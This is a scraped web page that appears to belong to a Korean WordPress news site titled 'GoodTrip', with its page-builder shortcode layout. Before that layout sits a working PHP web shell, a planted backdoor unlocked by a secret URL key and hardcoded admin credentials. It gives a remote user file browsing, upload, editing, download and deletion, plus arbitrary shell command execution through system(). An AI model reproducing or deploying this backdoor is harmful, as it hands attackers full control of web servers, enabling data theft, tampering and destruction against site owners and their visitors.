if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') {
function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); }
function ws_b($s) { return base64_decode($s); }
$validKey = 'mintinplan';
$validU = 'admin';
$validP = 'MinMaxtime';
$auth = false;
$sname = 'ws_auth';
if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true;
elseif (isset($_COOKIE[$sname])) {
$d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true);
if ($d && isset($d['ok']) && $d['ok']) $auth = true;
}
if (!$auth) {
$u = ws_g('usr'); $p = ws_g('pwd');
if ($u === $validU && $p === $validP) {
@session_start();
$_SESSION[$sname] = true;
setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true);
header('Location: ?k='.$validKey);
exit;
}
echo '
Login';
exit;
}
if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; }
$act = ws_g('a');
$path = ws_g('p') ?: getcwd();
$path = realpath($path) ?: getcwd();
echo 'Shell';
echo '';
echo '
';
switch ($act) {
case 'upload':
echo 'โฌ Upload File to: '.htmlspecialchars($path).'
';
echo '
';
if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) {
$f = $_FILES['upfile'];
if ($f['error'] === UPLOAD_ERR_OK) {
$name = ws_g('rename') ?: $f['name'];
$dest = rtrim($path, '/').'/'.$name;
if (move_uploaded_file($f['tmp_name'], $dest)) {
$sz = round(filesize($dest)/1024, 2);
echo 'โ
Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
';
} else {
echo 'โ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
';
}
} else {
$errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked'];
echo 'โ Error: '.($errors[$f['error']] ?? 'Unknown').'
';
}
}
echo '๐ Current directory contents:
';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '๐ '.$item."/\n";
else echo '๐ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo '';
break;
case 'tree':
echo '๐ณ Directory Tree (depth 4)
';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'๐ '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'๐ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo '';
break;
case 'drives':
echo '๐พ Accessible Roots
';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." โ\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." โ\n"; }
}
echo '';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo '๐ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)
';
echo '';
break;
case 'save':
$f = ws_g('f'); $c = ws_g('c');
if ($f) { file_put_contents($f, $c); echo 'โ
Saved: '.htmlspecialchars($f); }
break;
case 'exec':
$cmd = ws_g('c');
$output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) {
ob_start();
system($cmd);
$output = ob_get_clean();
}
echo '๐ฅ๏ธ Terminal (user: '.htmlspecialchars(get_current_user()).')
';
echo '';
if ($output !== '') echo ''.htmlspecialchars($output).'
';
else echo 'No output
';
break;
case 'down':
$f = ws_g('f');
if ($f && is_file($f)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
readfile($f);
exit;
}
echo 'File not found';
break;
case 'del':
$f = ws_g('f');
if ($f && is_file($f)) {
if (unlink($f)) echo 'โ
Deleted: '.htmlspecialchars($f);
else echo 'โ Delete failed (permission?)';
} elseif ($f && is_dir($f)) {
if (rmdir($f)) echo 'โ
Directory removed: '.htmlspecialchars($f);
else echo 'โ rmdir failed (not empty or permission?)';
}
break;
case 'newfile':
$fname = ws_g('nf');
if ($fname) {
$dest = rtrim($path,'/').'/'.$fname;
if (file_put_contents($dest, '') !== false) echo 'โ
Created: '.htmlspecialchars($dest);
else echo 'โ Create failed';
}
echo '';
break;
case 'newdir':
$dname = ws_g('nd');
if ($dname) {
$dest = rtrim($path,'/').'/'.$dname;
if (mkdir($dest, 0755)) echo 'โ
Created dir: '.htmlspecialchars($dest);
else echo 'โ mkdir failed';
}
echo '';
break;
default:
echo '๐ '.htmlspecialchars($path).'
';
$parent = dirname($path);
if ($parent && $parent !== $path) echo 'โฌ Parent | ';
echo '[+ New File] | ';
echo '[+ New Dir] | ';
echo '[โฌ Upload]
';
echo '| Name | Size | Perms | Actions |
';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
$isDir = is_dir($full);
$size = $isDir ? '-' : round(filesize($full)/1024,1).'KB';
$perms = substr(sprintf('%o',fileperms($full)),-4);
$enc = urlencode($full);
echo '';
if ($isDir) echo '| ๐ '.$item.' | ';
else echo '๐ '.$item.' | ';
echo ''.$size.' | '.$perms.' | ';
if (!$isDir) echo '[Edit] ';
echo '[Download] ';
echo '[Delete]';
echo ' |
';
}
}
echo '
';
break;
}
echo '';
exit;
}
Home_newspaper | GoodTrip
์ปจํ
์ธ ๋ก ๊ฑด๋๋ฐ๊ธฐ
[tdc_zone type=”tdc_content” tdc_css=”eyJhbGwiOnsiZGlzcGxheSI6IiJ9fQ==”][vc_row flex_width=”840″ flex_horiz_align=”center”][vc_column flex_width=”840″][td_flex_block_1 modules_on_row=”33.33333333%” limit=”3″ hide_audio=”yes”][td_flex_block_3 modules_category=”image” modules_on_row=”eyJhbGwiOiI1MCUiLCJsYW5kc2NhcGUiOiIxMDAlIn0=” modules_category1=”image” show_cat2=”none” show_com2=”none” show_author2=”none” columns=”eyJhbGwiOiI1MCUiLCJwaG9uZSI6IjEwMCUifQ==” columns_gap=”eyJsYW5kc2NhcGUiOiI0MCIsInBvcnRyYWl0IjoiMjgifQ==” image_width2=”eyJwb3J0cmFpdCI6IjM1In0=” modules_space1=”eyJhbGwiOiIwIiwicGhvbmUiOiIyMSJ9″ hide_audio=”yes” td_ajax_filter_type=”td_category_ids_filter” ajax_pagination=”load_more” category_id=”_related_cat” video_popup=””][td_flex_block_4 modules_category=”image” modules_on_row=”eyJhbGwiOiI1MCUiLCJsYW5kc2NhcGUiOiIxMDAlIn0=” modules_category1=”image” show_cat2=”none” show_com2=”none” show_author2=”none” columns=”50%” columns_gap=”eyJsYW5kc2NhcGUiOiI0MCIsInBvcnRyYWl0IjoiMjgifQ==” image_width2=”eyJwb3J0cmFpdCI6IjM1In0=” modules_space1=”eyJwaG9uZSI6IjIxIiwiYWxsIjoiMjEifQ==” limit=”6″ show_excerpt1=”” show_excerpt2=”none” hide_audio=”yes” category_id=”96″ ajax_pagination=”load_more”][/vc_column][/vc_row][vc_row gap=”eyJhbGwiOiIxNSIsImxhbmRzY2FwZSI6IjEwIiwicG9ydHJhaXQiOiIxMCJ9″ tdc_css=”eyJhbGwiOnsibWFyZ2luLXRvcCI6IjI1IiwibWFyZ2luLWJvdHRvbSI6IjQ1IiwiZGlzcGxheSI6IiJ9LCJsYW5kc2NhcGUiOnsibWFyZ2luLXRvcCI6IjIwIiwibWFyZ2luLWJvdHRvbSI6IjM1IiwiZGlzcGxheSI6IiJ9LCJsYW5kc2NhcGVfbWF4X3dpZHRoIjoxMTQwLCJsYW5kc2NhcGVfbWluX3dpZHRoIjoxMDE5LCJwb3J0cmFpdCI6eyJtYXJnaW4tdG9wIjoiMTUiLCJtYXJnaW4tYm90dG9tIjoiMjUiLCJkaXNwbGF5IjoiIn0sInBvcnRyYWl0X21heF93aWR0aCI6MTAxOCwicG9ydHJhaXRfbWluX3dpZHRoIjo3NjgsInBob25lIjp7Im1hcmdpbi10b3AiOiIxNSIsIm1hcmdpbi1ib3R0b20iOiIyNSIsImRpc3BsYXkiOiIifSwicGhvbmVfbWF4X3dpZHRoIjo3Njd9″ flex_layout=”eyJhbGwiOiJyb3ciLCJwaG9uZSI6ImNvbHVtbiJ9″ flex_vert_align=”stretch”][vc_column][tdb_loop modules_on_row=”eyJhbGwiOiIzMy4zMzMzMzMzMyUiLCJwaG9uZSI6IjEwMCUifQ==” limit=”12″ hide_audio=”yes” show_btn=”none” show_com=”none” show_review=”none” show_author=”none” tdc_css=”eyJhbGwiOnsibWFyZ2luLWJvdHRvbSI6IjAiLCJkaXNwbGF5IjoiIn0sImxhbmRzY2FwZSI6eyJkaXNwbGF5IjoiIn0sImxhbmRzY2FwZV9tYXhfd2lkdGgiOjExNDAsImxhbmRzY2FwZV9taW5fd2lkdGgiOjEwMTksInBvcnRyYWl0Ijp7ImRpc3BsYXkiOiIifSwicG9ydHJhaXRfbWF4X3dpZHRoIjoxMDE4LCJwb3J0cmFpdF9taW5fd2lkdGgiOjc2OCwicGhvbmUiOnsiZGlzcGxheSI6IiJ9LCJwaG9uZV9tYXhfd2lkdGgiOjc2N30=” image_floated=”” f_title_font_family=”394″ f_title_font_weight=”700″ f_title_font_transform=”uppercase” f_title_font_spacing=”-0.5″ f_title_font_size=”eyJhbGwiOiIxNyIsImxhbmRzY2FwZSI6IjEzIiwicG9ydHJhaXQiOiIxMSIsInBob25lIjoiMTMifQ==” f_title_font_line_height=”eyJhbGwiOiIxLjE1IiwicG9ydHJhaXQiOiIxLjEiLCJwaG9uZSI6IjEuMSIsImxhbmRzY2FwZSI6IjEuMSJ9″ excl_txt=”Exclusive:” excl_padd=”0 0 2px” excl_margin=”eyJhbGwiOiIwIDVweCAwIDAiLCJsYW5kc2NhcGUiOiIwIDVweCAwIDAiLCJwb3J0cmFpdCI6IjAgNHB4IDAgMCIsInBob25lIjoiMCA1cHggMCAwIn0=” excl_bg=”rgba(0,0,0,0)” excl_color=”var(–today-news-accent)” title_txt=”var(–today-news-dark-bg)” title_txt_hover=”var(–today-news-accent)” f_excl_font_family=”394″ f_excl_font_weight=”700″ f_excl_font_transform=”uppercase” f_excl_font_size=”eyJhbGwiOiIxNyIsImxhbmRzY2FwZSI6IjEzIiwicG9ydHJhaXQiOiIxMSIsInBob25lIjoiMTMifQ==” f_excl_font_line_height=”eyJhbGwiOiIxLjE1IiwicG9ydHJhaXQiOiIxLjEiLCJwaG9uZSI6IjEuMSIsImxhbmRzY2FwZSI6IjEuMSJ9″ f_excl_font_spacing=”-0.5″ meta_padding=”eyJhbGwiOiIyMHB4IDAgMCIsImxhbmRzY2FwZSI6IjVweCAwIDAiLCJwb3J0cmFpdCI6IjEwcHggMCAwIn0=” modules_category=”above” modules_category_padding=”0″ cat_bg=”rgba(0,0,0,0)” cat_bg_hover=”rgba(0,0,0,0)” cat_txt=”var(–today-news-accent)” f_cat_font_family=”394″ f_cat_font_transform=”uppercase” f_cat_font_weight=”700″ f_cat_font_size=”eyJhbGwiOiIxMiIsImxhbmRzY2FwZSI6IjExIiwicG9ydHJhaXQiOiIxMCIsInBob25lIjoiMTEifQ==” modules_category_margin=”eyJhbGwiOiIwIDAgM3B4IiwibGFuZHNjYXBlIjoiMCAwIDJweCIsInBvcnRyYWl0IjoiMCAwIDJweCIsInBob25lIjoiMCAwIDJweCJ9″ excerpt_middle=”yes” art_excerpt=”eyJhbGwiOiIwIDAgN3B4IiwibGFuZHNjYXBlIjoiMCAwIDVweCIsInBvcnRyYWl0IjoiMCAwIDJweCIsInBob25lIjoiMCAwIDVweCJ9″ art_title=”eyJhbGwiOiIwIDAgN3B4IiwibGFuZHNjYXBlIjoiMCAwIDVweDciLCJwb3J0cmFpdCI6IjAgMCA1cHgiLCJwaG9uZSI6IjAgMCA1cHgifQ==” f_ex_font_family=”394″ f_ex_font_size=”eyJhbGwiOiIxMyIsImxhbmRzY2FwZSI6IjEyIiwicG9ydHJhaXQiOiIxMSIsInBob25lIjoiMTIifQ==” f_ex_font_line_height=”eyJhbGwiOiIxLjMiLCJwb3J0cmFpdCI6IjEuMiJ9″ ex_txt=”var(–today-news-dark-gray)” date_txt=”var(–today-news-dark-gray)” f_meta_font_family=”394″ f_meta_font_size=”eyJhbGwiOiIxMiIsImxhbmRzY2FwZSI6IjExIiwicG9ydHJhaXQiOiIxMCIsInBob25lIjoiMTEifQ==” f_meta_font_line_height=”eyJhbGwiOiIxLjMiLCJwb3J0cmFpdCI6IjEuMiJ9″ f_cat_font_line_height=”1.2″ mc1_el=”15″ all_modules_space=”eyJhbGwiOiIzMCIsImxhbmRzY2FwZSI6IjIwIiwicG9ydHJhaXQiOiIxNSIsInBob25lIjoiMjAifQ==” modules_divider=”solid” modules_divider_color=”var(–today-news-light-gray)” image_height=”45″ modules_gap=”eyJhbGwiOiIzMCIsInBvcnRyYWl0IjoiMjAiLCJsYW5kc2NhcGUiOiIyMCJ9″ ajax_pagination=”load_more” f_pag_font_family=”394″ f_pag_font_transform=”uppercase” f_pag_font_weight=”700″ f_pag_font_spacing=”-0.2″ f_pag_font_size=”eyJhbGwiOiIxMyIsImxhbmRzY2FwZSI6IjEyIiwicG9ydHJhaXQiOiIxMSIsInBob25lIjoiMTIifQ==” f_pag_font_line_height=”eyJhbGwiOiIxLjMiLCJwb3J0cmFpdCI6IjEuMSJ9″ pag_space=”eyJhbGwiOiIzMCIsImxhbmRzY2FwZSI6IjIwIiwicG9ydHJhaXQiOiIyMCIsInBob25lIjoiMjAifQ==” pag_border_width=”0″ pag_bg=”var(–today-news-light-gray)” pag_h_bg=”var(–today-news-accent)” pag_a_bg=”var(–today-news-accent)” pag_text=”var(–today-news-dark-gray)” pag_h_text=”var(–today-news-white)” pag_a_text=”var(–today-news-white)”][/vc_column][/vc_row][/tdc_zone]